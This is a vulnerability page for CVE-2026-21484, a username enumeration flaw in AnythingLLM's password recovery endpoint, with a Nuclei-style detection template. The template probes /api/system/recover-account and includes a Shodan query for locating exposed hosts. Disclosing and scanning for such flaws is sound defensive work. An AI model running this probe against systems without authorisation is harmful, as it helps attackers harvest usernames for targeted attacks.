CVE-2026-21484: AnythingLLM - Username Enumeration via Password Recovery

2026-05-09 AnythingLLM PoC Public

Description

AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.

PoC

id: CVE-2026-21484

info:
  name: AnythingLLM - Username Enumeration via Password Recovery
  author: DhiyaneshDk
  severity: medium
  description: |
    AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.
  impact: |
    Attackers can enumerate valid usernames, aiding further targeted attacks or social engineering.
  remediation: Update to the version including commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 or later.
  reference:
    - https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-47vr-w3vm-69ch
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-21484
    epss-score: 0.00779
    epss-percentile: 0.54147
    cwe-id: CWE-203,CWE-204
  metadata:
    verified: true
    max-request: 2
    vendor: mintplex-labs
    product: anything-llm
    shodan-query: http.favicon.hash:-1279687529
  tags: cve,cve2026,anythingllm,user-enum

variables:
  rc1: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
  rc2: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
  rc3: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
  rc4: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"

http:
  - raw:
      - |
        POST /api/system/recover-account HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{randstr}}","recoveryCodes":["{{rc3}}","{{rc4}}"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "Invalid recovery codes","success")'
        condition: and
# digest: 4a0a00473045022100fa9baebd69f2fb779c0ed6a14ca0409e541dad6c1e71f10df1643bc2d95c67be022036dacbc60f6fad4e8f98925c8a1a45667eee16789263e9f64662e61f4c2e14d7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities